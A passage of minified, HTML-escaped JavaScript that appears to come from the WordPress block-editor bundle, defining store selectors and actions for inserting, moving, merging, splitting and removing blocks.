n=e(Kt).__experimentalGetAllowedPatterns(r),i=Array.isArray(o)?o:[o],s=n.filter(a=&gt;a?.blockTypes?.some?.(c=&gt;i.includes(c)));return s.length===0?fr:s},(t,o,r)=&gt;tM(e)(t,r))),Yge=(0,Ee.createRegistrySelector)(e=&gt;((0,jn.default)(&#039;wp.data.select( &quot;core/block-editor&quot; ).__experimentalGetPatternsByBlockTypes&#039;,{alternative:&#039;wp.data.select( &quot;core/block-editor&quot; ).getPatternsByBlockTypes&#039;,since:&quot;6.2&quot;,version:&quot;6.4&quot;}),e(Kt).getPatternsByBlockTypes)),qge=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o,r=null)=&gt;{if(!o||o.some(({clientId:i,innerBlocks:s})=&gt;s.length||Ow(t,i)))return fr;let n=Array.from(new Set(o.map(({name:i})=&gt;i)));return e(Kt).getPatternsByBlockTypes(n,r)},(t,o,r)=&gt;tM(e)(t,r)));function oM(e,t){return e.blockListSettings[t]}function su(e){return e.settings}function Zge(e){return e.blocks.isPersistentChange}var Xge=(0,Ee.createSelector)((e,t=[])=&gt;t.reduce((o,r)=&gt;e.blockListSettings[r]?{...o,[r]:e.blockListSettings[r]}:o,{}),e=&gt;[e.blockListSettings]),Qge=(0,Ee.createRegistrySelector)(e=&gt;(0,Ee.createSelector)((t,o)=&gt;{(0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).__experimentalGetReusableBlockTitle&quot;,{since:&quot;6.6&quot;,version:&quot;6.8&quot;});let r=M(e(Kt)).getReusableBlocks().find(n=&gt;n.id===o);return r?r.title?.raw:null},()=&gt;[M(e(Kt)).getReusableBlocks()]));function Jge(e){return e.blocks.isIgnoredChange}function ebe(e){return e.lastBlockAttributesChange}function tbe(){return(0,jn.default)(&#039;wp.data.select( &quot;core/block-editor&quot; ).hasBlockMovingClientId&#039;,{since:&quot;6.7&quot;,hint:&quot;Block moving mode feature has been removed&quot;}),!1}function obe(e){return!!e.automaticChangeStatus}function rbe(e,t){return e.highlightedBlock===t}function Ow(e,t){return!!e.blocks.controlledInnerBlocks[t]}var nbe=(0,Ee.createSelector)((e,t)=&gt;{if(!t.length)return null;let o=Yp(e);if(t.includes(dt(e,o)))return o;let r=du(e),n=KN(e,o||r[0],t);return n?n[n.length-1]:null},(e,t)=&gt;[e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId,t]);function ibe(e,t,o){let{lastBlockInserted:r}=e;return r.clientIds?.includes(t)&amp;&amp;r.source===o}function sbe(e,t){return e.blockVisibility?.[t]??!0}function abe(){(0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).getHoveredBlockClientId&quot;,{since:&quot;6.9&quot;,version:&quot;7.1&quot;})}var lbe=(0,Ee.createSelector)(e=&gt;{let t=new Set(Object.keys(e.blockVisibility).filter(o=&gt;e.blockVisibility[o]));return t.size===0?Yhe:t},e=&gt;[e.blockVisibility]);function Dj(e,t){if(Ii(e,t)!==&quot;default&quot;)return!1;if(!Lj(e,t))return!0;if(HN(e)){let n=Mf(e);if(n){if(wr(e,n)?.includes(t))return!0}else if(t&amp;&amp;!Po(e,t))return!0}return((0,Oe.hasBlockSupport)(dt(e,t),&quot;__experimentalDisableBlockOverlay&quot;,!1)?!1:Ow(e,t))&amp;&amp;!Tj(e,t)&amp;&amp;!Ij(e,t,!0)}function cbe(e,t){let o=e.blocks.parents.get(t);for(;o;){if(Dj(e,o))return!0;o=e.blocks.parents.get(o)}return!1}function Ii(e,t=&quot;&quot;){return t===null&amp;&amp;(t=&quot;&quot;),e.derivedBlockEditingModes?.has(t)?e.derivedBlockEditingModes.get(t):e.blocks.blockEditingModes.has(t)?e.blocks.blockEditingModes.get(t):&quot;default&quot;}var ube=(0,Ee.createRegistrySelector)(e=&gt;(t,o=&quot;&quot;)=&gt;{let r=o||Yp(t);if(!r||lu(t,r))return!1;let{getGroupingBlockName:n}=e(Oe.store),i=xl(t,r),s=n();return i&amp;&amp;(i.name===s||(0,Oe.getBlockType)(i.name)?.transforms?.ungroup)&amp;&amp;!!i.innerBlocks.length&amp;&amp;QN(t,r)}),dbe=(0,Ee.createRegistrySelector)(e=&gt;(t,o=fr)=&gt;{let{getGroupingBlockName:r}=e(Oe.store),n=r(),i=o?.length?o:qp(t),s=i?.length?Po(t,i[0]):void 0;return Df(t,n,s)&amp;&amp;i.length&amp;&amp;Oj(t,i)}),fbe=(e,t)=&gt;((0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetContentLockingParent&quot;,{since:&quot;6.1&quot;,version:&quot;6.7&quot;}),zN(e,t));function mbe(e){return(0,jn.default)(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetTemporarilyEditingAsBlocks&quot;,{since:&quot;6.1&quot;,version:&quot;6.7&quot;}),jN(e)}var Aw={};Ip(Aw,{__experimentalUpdateSettings:()=&gt;nM,clearBlockRemovalPrompt:()=&gt;vbe,clearRequestedInspectorTab:()=&gt;Dbe,closeListViewContentPanel:()=&gt;Abe,deleteStyleOverride:()=&gt;_be,editContentOnlySection:()=&gt;sM,ensureDefaultBlock:()=&gt;Hj,expandBlock:()=&gt;Bbe,hideBlockInterface:()=&gt;gbe,hideViewportModal:()=&gt;Nbe,openListViewContentPanel:()=&gt;Obe,privateRemoveBlocks:()=&gt;iM,requestInspectorTab:()=&gt;Mbe,resetZoomLevel:()=&gt;Pbe,setBlockRemovalRules:()=&gt;ybe,setInsertionPoint:()=&gt;Ebe,setLastFocus:()=&gt;xbe,setStyleOverride:()=&gt;Sbe,setZoomLevel:()=&gt;Ibe,showBlockInterface:()=&gt;bbe,showViewportModal:()=&gt;Lbe,startDragging:()=&gt;wbe,stopDragging:()=&gt;Cbe,stopEditingContentOnlySection:()=&gt;Tbe,toggleBlockSpotlight:()=&gt;Rbe});var Fj=l(R(),1),zj=l(Re(),1),jj=l(Xo(),1),Uj=l(N(),1),pbe=e=&gt;Array.isArray(e)?e:[e],hbe=[&quot;inserterMediaCategories&quot;,&quot;blockInspectorAnimation&quot;,&quot;mediaSideload&quot;];function nM(e,{stripExperimentalSettings:t=!1,reset:o=!1}={}){let r=e;Object.hasOwn(r,&quot;__unstableIsPreviewMode&quot;)&amp;&amp;((0,zj.default)(&quot;__unstableIsPreviewMode argument in wp.data.dispatch(&#039;core/block-editor&#039;).updateSettings&quot;,{since:&quot;6.8&quot;,alternative:&quot;isPreviewMode&quot;}),r={...r},r.isPreviewMode=r.__unstableIsPreviewMode,delete r.__unstableIsPreviewMode);let n=r;if(t&amp;&amp;Fj.Platform.OS===&quot;web&quot;){n={};for(let i in r)hbe.includes(i)||(n[i]=r[i])}return{type:&quot;UPDATE_SETTINGS&quot;,settings:n,reset:o}}function gbe(){return{type:&quot;HIDE_BLOCK_INTERFACE&quot;}}function bbe(){return{type:&quot;SHOW_BLOCK_INTERFACE&quot;}}var iM=(e,t=!0,o=!1)=&gt;({select:r,dispatch:n,registry:i})=&gt;{if(!e||!e.length||(e=pbe(e),!r.canRemoveBlocks(e)))return;let a=!o&amp;&amp;r.getBlockRemovalRules();if(a){let u=function(h){let p=[],g=[...h];for(;g.length;){let{innerBlocks:b,...v}=g.shift();g.push(...b),p.push(v)}return p};var c=u;let d=e.map(r.getBlock),f=u(d),m;for(let h of a)if(m=h.callback(f),m){n(kbe(e,t,m));return}}t&amp;&amp;n.selectPreviousBlock(e[0],t),i.batch(()=&gt;{n({type:&quot;REMOVE_BLOCKS&quot;,clientIds:e}),n(Hj())})},Hj=()=&gt;({select:e,dispatch:t})=&gt;{if(e.getBlockCount()&gt;0)return;let{__unstableHasCustomAppender:r}=e.getSettings();r||t.insertDefaultBlock()};function kbe(e,t,o){return{type:&quot;DISPLAY_BLOCK_REMOVAL_PROMPT&quot;,clientIds:e,selectPrevious:t,message:o}}function vbe(){return{type:&quot;CLEAR_BLOCK_REMOVAL_PROMPT&quot;}}function ybe(e=!1){return{type:&quot;SET_BLOCK_REMOVAL_RULES&quot;,rules:e}}function Sbe(e,t){return{type:&quot;SET_STYLE_OVERRIDE&quot;,id:e,style:t}}function _be(e){return{type:&quot;DELETE_STYLE_OVERRIDE&quot;,id:e}}function xbe(e=null){return{type:&quot;LAST_FOCUS&quot;,lastFocus:e}}function wbe(){return{type:&quot;START_DRAGGING&quot;}}function Cbe(){return{type:&quot;STOP_DRAGGING&quot;}}function Bbe(e){return{type:&quot;SET_BLOCK_EXPANDED_IN_LIST_VIEW&quot;,clientId:e}}function Ebe(e){return{type:&quot;SET_INSERTION_POINT&quot;,value:e}}function sM(e){return{type:&quot;EDIT_CONTENT_ONLY_SECTION&quot;,clientId:e}}function Tbe(){return{type:&quot;EDIT_CONTENT_ONLY_SECTION&quot;}}var Ibe=(e=100)=&gt;({select:t,dispatch:o})=&gt;{if(e!==100){let r=t.getBlockSelectionStart(),n=t.getSectionRootClientId();if(r){let i;if(n){let s=t.getBlockOrder(n);s?.includes(r)?i=r:i=t.getBlockParents(r).find(a=&gt;s.includes(a))}else i=t.getBlockHierarchyRootClientId(r);i?o.selectBlock(i):o.clearSelectedBlock(),(0,jj.speak)((0,Uj.__)(&quot;You are currently in zoom-out mode.&quot;))}}o({type:&quot;SET_ZOOM_LEVEL&quot;,zoom:e})};function Pbe(){return{type:&quot;RESET_ZOOM_LEVEL&quot;}}function Rbe(e,t){return{type:&quot;TOGGLE_BLOCK_SPOTLIGHT&quot;,clientId:e,hasBlockSpotlight:t}}function Obe(){return{type:&quot;OPEN_LIST_VIEW_CONTENT_PANEL&quot;}}function Abe(){return{type:&quot;CLOSE_LIST_VIEW_CONTENT_PANEL&quot;}}function Lbe(e){return{type:&quot;SHOW_VIEWPORT_MODAL&quot;,clientIds:e}}function Nbe(){return{type:&quot;HIDE_VIEWPORT_MODAL&quot;}}function Mbe(e,t={}){return{type:&quot;REQUEST_INSPECTOR_TAB&quot;,tabName:e,options:t}}function Dbe(){return{type:&quot;CLEAR_REQUESTED_INSPECTOR_TAB&quot;}}var cM={};Ip(cM,{__unstableDeleteSelection:()=&gt;ake,__unstableExpandSelection:()=&gt;cke,__unstableIncrementListViewExpandRevision:()=&gt;Hke,__unstableMarkAutomaticChange:()=&gt;Eke,__unstableMarkLastChangeAsPersistent:()=&gt;Cke,__unstableMarkNextChangeAsNotPersistent:()=&gt;Bke,__unstableSaveReusableBlock:()=&gt;wke,__unstableSetAllListViewPanelsOpen:()=&gt;jke,__unstableSetEditorMode:()=&gt;Tke,__unstableSetOpenListViewPanel:()=&gt;zke,__unstableSetTemporarilyEditingAsBlocks:()=&gt;Mke,__unstableSplitSelection:()=&gt;lke,__unstableToggleListViewPanel:()=&gt;Uke,clearSelectedBlock:()=&gt;Zbe,duplicateBlocks:()=&gt;Pke,enterFormattedText:()=&gt;kke,exitFormattedText:()=&gt;vke,flashBlock:()=&gt;Ake,hideInsertionPoint:()=&gt;nke,hoverBlock:()=&gt;Gbe,insertAfterBlock:()=&gt;Oke,insertBeforeBlock:()=&gt;Rke,insertBlock:()=&gt;oke,insertBlocks:()=&gt;Jj,insertDefaultBlock:()=&gt;Ske,mergeBlocks:()=&gt;uke,moveBlockToPosition:()=&gt;tke,moveBlocksDown:()=&gt;Jbe,moveBlocksToPosition:()=&gt;Qj,moveBlocksUp:()=&gt;eke,multiSelect:()=&gt;qbe,receiveBlocks:()=&gt;zbe,registerInserterMediaCategory:()=&gt;Dke,removeBlock:()=&gt;dke,removeBlocks:()=&gt;eU,replaceBlock:()=&gt;Qbe,replaceBlocks:()=&gt;Zj,replaceInnerBlocks:()=&gt;fke,resetBlocks:()=&gt;Vbe,resetSelection:()=&gt;Fbe,selectBlock:()=&gt;Hbe,selectNextBlock:()=&gt;$be,selectPreviousBlock:()=&gt;Wbe,selectionChange:()=&gt;yke,setBlockEditingMode:()=&gt;Vke,setBlockMovingClientId:()=&gt;Ike,setBlockVisibility:()=&gt;Nke,setHasControlledInnerBlocks:()=&gt;Lke,setTemplateValidity:()=&gt;ike,showInsertionPoint:()=&gt;rke,startDraggingBlocks:()=&gt;gke,startMultiSelect:()=&gt;Kbe,startTyping:()=&gt;pke,stopDraggingBlocks:()=&gt;bke,stopMultiSelect:()=&gt;Ybe,stopTyping:()=&gt;hke,synchronizeTemplate:()=&gt;ske,toggleBlockHighlight:()=&gt;lM,toggleBlockMode:()=&gt;mke,toggleSelection:()=&gt;Xbe,unsetBlockEditingMode:()=&gt;Fke,updateBlock:()=&gt;Ube,updateBlockAttributes:()=&gt;jbe,updateBlockListSettings:()=&gt;_ke,updateSettings:()=&gt;xke,validateBlocksToTemplate:()=&gt;qj});var be=l($(),1),Lw=l(Xo(),1),fu=l(N(),1),Kj=l(Un(),1),ft=l(dr(),1),mu=l(Re(),1),Yj=l(Zp(),1);var $j=l(dr(),1),wl=&quot;\x86&quot;;function Lv(e){if(e)return Object.keys(e).find(t=&gt;{let o=e[t];return(typeof o==&quot;string&quot;||o instanceof $j.RichTextData)&amp;&amp;o.toString().indexOf(wl)!==-1})}function aM(e){for(let[t,o]of Object.entries(e.attributes))if(o.source===&quot;rich-text&quot;||o.source===&quot;html&quot;)return t}var Xp=e=&gt;Array.isArray(e)?e:[e],Vbe=e=&gt;({dispatch:t})=&gt;{t({type:&quot;RESET_BLOCKS&quot;,blocks:e}),t(qj(e))},qj=e=&gt;({select:t,dispatch:o})=&gt;{let r=t.getTemplate(),n=t.getTemplateLock(),i=!r||n!==&quot;all&quot;||(0,be.doBlocksMatchTemplate)(e,r),s=t.isValidTemplate();if(i!==s)return o.setTemplateValidity(i),i};function Fbe(e,t,o){return{type:&quot;RESET_SELECTION&quot;,selectionStart:e,selectionEnd:t,initialPosition:o}}function zbe(e){return(0,mu.default)(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).receiveBlocks&#039;,{since:&quot;5.9&quot;,alternative:&quot;resetBlocks or insertBlocks&quot;}),{type:&quot;RECEIVE_BLOCKS&quot;,blocks:e}}function jbe(e,t,o={uniqueByBlock:!1}){return typeof o==&quot;boolean&quot;&amp;&amp;(o={uniqueByBlock:o}),{type:&quot;UPDATE_BLOCK_ATTRIBUTES&quot;,clientIds:Xp(e),attributes:t,options:o}}function Ube(e,t){return{type:&quot;UPDATE_BLOCK&quot;,clientId:e,updates:t}}function Hbe(e,t=0){return{type:&quot;SELECT_BLOCK&quot;,initialPosition:t,clientId:e}}function Gbe(){return(0,mu.default)(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).hoverBlock&#039;,{since:&quot;6.9&quot;,version:&quot;7.1&quot;}),{type:&quot;DO_NOTHING&quot;}}var Wbe=(e,t=!1)=&gt;({select:o,dispatch:r})=&gt;{let n=o.getPreviousBlockClientId(e);if(n)r.selectBlock(n,-1);else if(t){let i=o.getBlockRootClientId(e);if(i)r.selectBlock(i,-1);else{let s=o.getNextBlockClientId(e);s&amp;&amp;r.selectBlock(s,0)}}},$be=e=&gt;({select:t,dispatch:o})=&gt;{let r=t.getNextBlockClientId(e);r&amp;&amp;o.selectBlock(r)};function Kbe(){return{type:&quot;START_MULTI_SELECT&quot;}}function Ybe(){return{type:&quot;STOP_MULTI_SELECT&quot;}}var qbe=(e,t,o=0)=&gt;({select:r,dispatch:n})=&gt;{let i=r.getBlockRootClientId(e),s=r.getBlockRootClientId(t);if(i!==s)return;n({type:&quot;MULTI_SELECT&quot;,start:e,end:t,initialPosition:o});let a=r.getSelectedBlockCount();(0,Lw.speak)((0,fu.sprintf)((0,fu._n)(&quot;%s block selected.&quot;,&quot;%s blocks selected.&quot;,a),a),&quot;assertive&quot;)};function Zbe(){return{type:&quot;CLEAR_SELECTED_BLOCK&quot;}}function Xbe(e=!0){return{type:&quot;TOGGLE_SELECTION&quot;,isSelectionEnabled:e}}var Zj=(e,t,o,r=0,n)=&gt;({select:i,dispatch:s,registry:a})=&gt;{e=Xp(e),t=Xp(t);let c=i.getBlockRootClientId(e[0]);for(let u=0;u&lt;t.length;u++){let d=t[u];if(!i.canInsertBlockType(d.name,c))return}a.batch(()=&gt;{s({type:&quot;REPLACE_BLOCKS&quot;,clientIds:e,blocks:t,time:Date.now(),indexToSelect:o,initialPosition:r,meta:n}),s.ensureDefaultBlock()})};function Qbe(e,t){return Zj(e,t)}var Xj=e=&gt;(t,o)=&gt;({select:r,dispatch:n})=&gt;{r.canMoveBlocks(t)&amp;&amp;n({type:e,clientIds:Xp(t),rootClientId:o})},Jbe=Xj(&quot;MOVE_BLOCKS_DOWN&quot;),eke=Xj(&quot;MOVE_BLOCKS_UP&quot;),Qj=(e,t=&quot;&quot;,o=&quot;&quot;,r)=&gt;({select:n,dispatch:i})=&gt;{n.canMoveBlocks(e)&amp;&amp;(t!==o&amp;&amp;(!n.canRemoveBlocks(e)||!n.canInsertBlocks(e,o))||i({type:&quot;MOVE_BLOCKS_TO_POSITION&quot;,fromRootClientId:t,toRootClientId:o,clientIds:e,index:r}))};function tke(e,t=&quot;&quot;,o=&quot;&quot;,r){return Qj([e],t,o,r)}function oke(e,t,o,r,n,i){return Jj([e],t,o,r,n,i)}var Jj=(e,t,o,r=!0,n=0,i)=&gt;({select:s,dispatch:a})=&gt;{n!==null&amp;&amp;typeof n==&quot;object&quot;&amp;&amp;(i=n,n=0,(0,mu.default)(&quot;meta argument in wp.data.dispatch(&#039;core/block-editor&#039;)&quot;,{since:&quot;5.8&quot;,hint:&quot;The meta argument is now the 6th argument of the function&quot;})),e=Xp(e);let c=[];for(let u of e)s.canInsertBlockType(u.name,o)&amp;&amp;c.push(u);c.length&amp;&amp;a({type:&quot;INSERT_BLOCKS&quot;,blocks:c,index:t,rootClientId:o,time:Date.now(),updateSelection:r,initialPosition:r?n:null,meta:i})};function rke(e,t,o={}){let{__unstableWithInserter:r,operation:n,nearestSide:i}=o;return{type:&quot;SHOW_INSERTION_POINT&quot;,rootClientId:e,index:t,__unstableWithInserter:r,operation:n,nearestSide:i}}var nke=()=&gt;({select:e,dispatch:t})=&gt;{e.isBlockInsertionPointVisible()&amp;&amp;t({type:&quot;HIDE_INSERTION_POINT&quot;})};function ike(e){return{type:&quot;SET_TEMPLATE_VALIDITY&quot;,isValid:e}}var ske=()=&gt;({select:e,dispatch:t})=&gt;{t({type:&quot;SYNCHRONIZE_TEMPLATE&quot;});let o=e.getBlocks(),r=e.getTemplate(),n=(0,be.synchronizeBlocksWithTemplate)(o,r);t.resetBlocks(n)},ake=e=&gt;({registry:t,select:o,dispatch:r})=&gt;{let n=o.getSelectionStart(),i=o.getSelectionEnd();if(n.clientId===i.clientId)return;if(!n.attributeKey||!i.attributeKey||typeof n.offset&gt;&quot;u&quot;||typeof i.offset&gt;&quot;u&quot;)return!1;let s=o.getBlockRootClientId(n.clientId),a=o.getBlockRootClientId(i.clientId);if(s!==a)return;let c=o.getBlockOrder(s),u=c.indexOf(n.clientId),d=c.indexOf(i.clientId),f,m;u&gt;d?(f=i,m=n):(f=n,m=i);let h=e?m:f,p=o.getBlock(h.clientId),g=(0,be.getBlockType)(p.name);if(!g.merge)return;let b=f,v=m,k=o.getBlock(b.clientId),y=o.getBlock(v.clientId),S=k.attributes[b.attributeKey],x=y.attributes[v.attributeKey],C=(0,ft.create)({html:S}),B=(0,ft.create)({html:x});C=(0,ft.remove)(C,b.offset,C.text.length),B=(0,ft.insert)(B,wl,0,v.offset);let I=(0,be.cloneBlock)(k,{[b.attributeKey]:(0,ft.toHTMLString)({value:C})}),P=(0,be.cloneBlock)(y,{[v.attributeKey]:(0,ft.toHTMLString)({value:B})}),E=e?I:P,L=k.name===y.name?[E]:(0,be.switchToBlockType)(E,g.name);if(!L||!L.length)return;let T;if(e){let se=L.pop();T=g.merge(se.attributes,P.attributes)}else{let se=L.shift();T=g.merge(I.attributes,se.attributes)}let O=Lv(T),D=T[O],U=(0,ft.create)({html:D}),G=U.text.indexOf(wl),j=(0,ft.remove)(U,G,G+1),z=(0,ft.toHTMLString)({value:j});T[O]=z;let W=o.getSelectedBlockClientIds(),ee=[...e?L:[],{...p,attributes:{...p.attributes,...T}},...e?[]:L];t.batch(()=&gt;{r.selectionChange(p.clientId,O,G,G),r.replaceBlocks(W,ee,0,o.getSelectedBlocksInitialCaretPosition())})},lke=(e=[])=&gt;({registry:t,select:o,dispatch:r})=&gt;{let n=o.getSelectionStart(),i=o.getSelectionEnd(),s=o.getBlockRootClientId(n.clientId),a=o.getBlockRootClientId(i.clientId);if(s!==a)return;let c=o.getBlockOrder(s),u=c.indexOf(n.clientId),d=c.indexOf(i.clientId),f,m;u&gt;d?(f=i,m=n):(f=n,m=i);let h=f,p=m,g=o.getBlock(h.clientId),b=o.getBlock(p.clientId),v=(0,be.getBlockType)(g.name),k=(0,be.getBlockType)(b.name),y=typeof h.attributeKey==&quot;string&quot;?h.attributeKey:aM(v),S=typeof p.attributeKey==&quot;string&quot;?p.attributeKey:aM(k),x=o.getBlockAttributes(h.clientId);if(x?.metadata?.bindings?.[y]){if(e.length){let{createWarningNotice:ie}=t.dispatch(Kj.store);ie((0,fu.__)(&quot;Blocks can&#039;t be inserted into other blocks with bindings&quot;),{type:&quot;snackbar&quot;});return}r.insertAfterBlock(h.clientId);return}if(!y||!S||typeof n.offset&gt;&quot;u&quot;||typeof i.offset&gt;&quot;u&quot;)return;if(h.clientId===p.clientId&amp;&amp;y===S&amp;&amp;h.offset===p.offset){if(e.length){if((0,be.isUnmodifiedDefaultBlock)(g,&quot;content&quot;)){r.replaceBlocks([h.clientId],e,e.length-1,-1);return}}else if(!o.getBlockOrder(h.clientId).length){let ie=function(){let Q=(0,be.getDefaultBlockName)();return o.canInsertBlockType(Q,s)?(0,be.createBlock)(Q):(0,be.createBlock)(o.getBlockName(h.clientId))};var B=ie;let re=x[y].length;if(h.offset===0&amp;&amp;re){r.insertBlocks([ie()],o.getBlockIndex(h.clientId),s,!1);return}if(h.offset===re){r.insertBlocks([ie()],o.getBlockIndex(h.clientId)+1,s);return}}}let I=g.attributes[y],P=b.attributes[S],E=(0,ft.create)({html:I}),L=(0,ft.create)({html:P});E=(0,ft.remove)(E,h.offset,E.text.length),L=(0,ft.remove)(L,0,p.offset);let T={...g,innerBlocks:g.clientId===b.clientId?[]:g.innerBlocks,attributes:{...g.attributes,[y]:(0,ft.toHTMLString)({value:E})}},O={...b,clientId:g.clientId===b.clientId?(0,be.createBlock)(b.name).clientId:b.clientId,attributes:{...b.attributes,[S]:(0,ft.toHTMLString)({value:L})}},D=(0,be.getDefaultBlockName)();if(g.clientId===b.clientId&amp;&amp;D&amp;&amp;O.name!==D&amp;&amp;o.canInsertBlockType(D,s)){let ie=(0,be.switchToBlockType)(O,D);ie?.length===1&amp;&amp;(O=ie[0])}if(!e.length){r.replaceBlocks(o.getSelectedBlockClientIds(),[T,O]);return}let U,G=[],j=[...e],z=j.shift(),W=(0,be.getBlockType)(T.name),ee=W.merge&amp;&amp;z.name===W.name?[z]:(0,be.switchToBlockType)(z,W.name);if(ee?.length){let ie=ee.shift();T={...T,attributes:{...T.attributes,...W.merge(T.attributes,ie.attributes)}},G.push(T),U={clientId:T.clientId,attributeKey:y,offset:(0,ft.create)({html:T.attributes[y]}).text.length},j.unshift(...ee)}else(0,be.isUnmodifiedBlock)(T)||G.push(T),G.push(z);let se=j.pop(),ce=(0,be.getBlockType)(O.name);if(j.length&amp;&amp;G.push(...j),se){let ie=ce.merge&amp;&amp;ce.name===se.name?[se]:(0,be.switchToBlockType)(se,ce.name);if(ie?.length){let re=ie.pop();G.push({...O,attributes:{...O.attributes,...ce.merge(re.attributes,O.attributes)}}),G.push(...ie),U={clientId:O.clientId,attributeKey:S,offset:(0,ft.create)({html:re.attributes[S]}).text.length}}else G.push(se),(0,be.isUnmodifiedBlock)(O)||G.push(O)}else(0,be.isUnmodifiedBlock)(O)||G.push(O);t.batch(()=&gt;{r.replaceBlocks(o.getSelectedBlockClientIds(),G,G.length-1,0),U&amp;&amp;r.selectionChange(U.clientId,U.attributeKey,U.offset,U.offset)})},cke=()=&gt;({select:e,dispatch:t})=&gt;{let o=e.getSelectionStart(),r=e.getSelectionEnd();t.selectionChange({start:{clientId:o.clientId},end:{clientId:r.clientId}})},uke=(e,t)=&gt;({registry:o,select:r,dispatch:n})=&gt;{let i=e,s=t,a=r.getBlock(i),c=(0,be.getBlockType)(a.name);if(!c||r.getBlockEditingMode(i)===&quot;disabled&quot;||r.getBlockEditingMode(s)===&quot;disabled&quot;)return;let u=r.getBlock(s);if(!c.merge&amp;&amp;(0,be.getBlockSupport)(a.name,&quot;__experimentalOnMerge&quot;)){let x=(0,be.switchToBlockType)(u,c.name);if(x?.length!==1){n.selectBlock(a.clientId);return}let[C]=x;if(C.innerBlocks.length&lt;1){n.selectBlock(a.clientId);return}o.batch(()=&gt;{n.insertBlocks(C.innerBlocks,void 0,i),n.removeBlock(s),n.selectBlock(C.innerBlocks[0].clientId);let B=r.getNextBlockClientId(i);if(B&amp;&amp;r.getBlockName(i)===r.getBlockName(B)){let I=r.getBlockAttributes(i),P=r.getBlockAttributes(B);Object.keys(I).every(E=&gt;I[E]===P[E])&amp;&amp;(n.moveBlocksToPosition(r.getBlockOrder(B),B,i),n.removeBlock(B,!1))}});return}if((0,be.isUnmodifiedDefaultBlock)(a)){n.removeBlock(i,r.isBlockSelected(i));return}if((0,be.isUnmodifiedDefaultBlock)(u)){n.removeBlock(s,r.isBlockSelected(s));return}if(!c.merge){(0,be.isUnmodifiedBlock)(u,&quot;content&quot;)?n.removeBlock(s,r.isBlockSelected(s)):n.selectBlock(a.clientId);return}let d=(0,be.getBlockType)(u.name),{clientId:f,attributeKey:m,offset:h}=r.getSelectionStart(),g=(f===i?c:d).attributes[m],b=(f===i||f===s)&amp;&amp;m!==void 0&amp;&amp;h!==void 0&amp;&amp;!!g;g||(typeof m==&quot;number&quot;?window.console.error(`RichText needs an identifier prop that is the block attribute key of the attribute it controls. Its type is expected to be a string, but was ${typeof m}`):window.console.error(&quot;The RichText identifier prop does not match any attributes defined by the block.&quot;));let v=(0,be.cloneBlock)(a),k=(0,be.cloneBlock)(u);if(b){let x=f===i?v:k,C=x.attributes[m],B=(0,ft.insert)((0,ft.create)({html:C}),wl,h,h);x.attributes[m]=(0,ft.toHTMLString)({value:B})}let y=a.name===u.name?[k]:(0,be.switchToBlockType)(k,a.name);if(!y||!y.length)return;let S=c.merge(v.attributes,y[0].attributes);if(b){let x=Lv(S),C=S[x],B=(0,ft.create)({html:C}),I=B.text.indexOf(wl),P=(0,ft.remove)(B,I,I+1),E=(0,ft.toHTMLString)({value:P});S[x]=E,n.selectionChange(a.clientId,x,I,I)}n.replaceBlocks([a.clientId,u.clientId],[{...a,attributes:{...a.attributes,...S}},...y.slice(1)],0)},eU=(e,t=!0)=&gt;iM(e,t);function dke(e,t){return eU([e],t)}function fke(e,t,o=!1,r=0){return{type:&quot;REPLACE_INNER_BLOCKS&quot;,rootClientId:e,blocks:t,updateSelection:o,initialPosition:o?r:null,time:Date.now()}}function mke(e){return{type:&quot;TOGGLE_BLOCK_MODE&quot;,clientId:e}}function pke(){return{type:&quot;START_TYPING&quot;}}function hke(){return{type:&quot;STOP_TYPING&quot;}}function gke(e=[]){return{type:&quot;START_DRAGGING_BLOCKS&quot;,clientIds:e}}function bke(){return{type:&quot;STOP_DRAGGING_BLOCKS&quot;}}function kke(){return(0,mu.default)(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).enterFormattedText&#039;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;}),{type:&quot;DO_NOTHING&quot;}}function vke(){return(0,mu.default)(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).exitFormattedText&#039;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;}),{type:&quot;DO_NOTHING&quot;}}function yke(e,t,o,r){return typeof e==&quot;string&quot;?{type:&quot;SELECTION_CHANGE&quot;,clientId:e,attributeKey:t,startOffset:o,endOffset:r}:{type:&quot;SELECTION_CHANGE&quot;,...e}}var Ske=(e,t,o)=&gt;({dispatch:r})=&gt;{let n=(0,be.getDefaultBlockName)();if(!n)return;let i=(0,be.createBlock)(n,e);return r.insertBlock(i,o,t)};function _ke(e,t){return{type:&quot;UPDATE_BLOCK_LIST_SETTINGS&quot;,clientId:e,settings:t}}function xke(e){return nM(e,{stripExperimentalSettings:!0})}function wke(e,t){return{type:&quot;SAVE_REUSABLE_BLOCK_SUCCESS&quot;,id:e,updatedId:t}}function Cke(){return{type:&quot;MARK_LAST_CHANGE_AS_PERSISTENT&quot;}}function Bke(){return{type:&quot;MARK_NEXT_CHANGE_AS_NOT_PERSISTENT&quot;}}var Eke=()=&gt;({dispatch:e})=&gt;{e({type:&quot;MARK_AUTOMATIC_CHANGE&quot;});let{requestIdleCallback:t=o=&gt;setTimeout(o,100)}=window;t(()=&gt;{e({type:&quot;MARK_AUTOMATIC_CHANGE_FINAL&quot;})})},Tke=e=&gt;({registry:t})=&gt;{t.dispatch(Yj.store).set(&quot;core&quot;,&quot;editorTool&quot;,e),e===&quot;navigation&quot;?(0,Lw.speak)((0,fu.__)(&quot;You are currently in Write mode.&quot;)):e===&quot;edit&quot;&amp;&amp;(0,Lw.speak)((0,fu.__)(&quot;You are currently in Design mode.&quot;))};function Ike(){return(0,mu.default)(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).setBlockMovingClientId&#039;,{since:&quot;6.7&quot;,hint:&quot;Block moving mode feature has been removed&quot;}),{type:&quot;DO_NOTHING&quot;}}var Pke=(e,t=!0)=&gt;({select:o,dispatch:r})=&gt;{if(!e||!e.length)return;let n=o.getBlocksByClientId(e);if(n.some(d=&gt;!d)||n.map(d=&gt;d.name).some(d=&gt;!(0,be.hasBlockSupport)(d,&quot;multiple&quot;,!0)))return;let 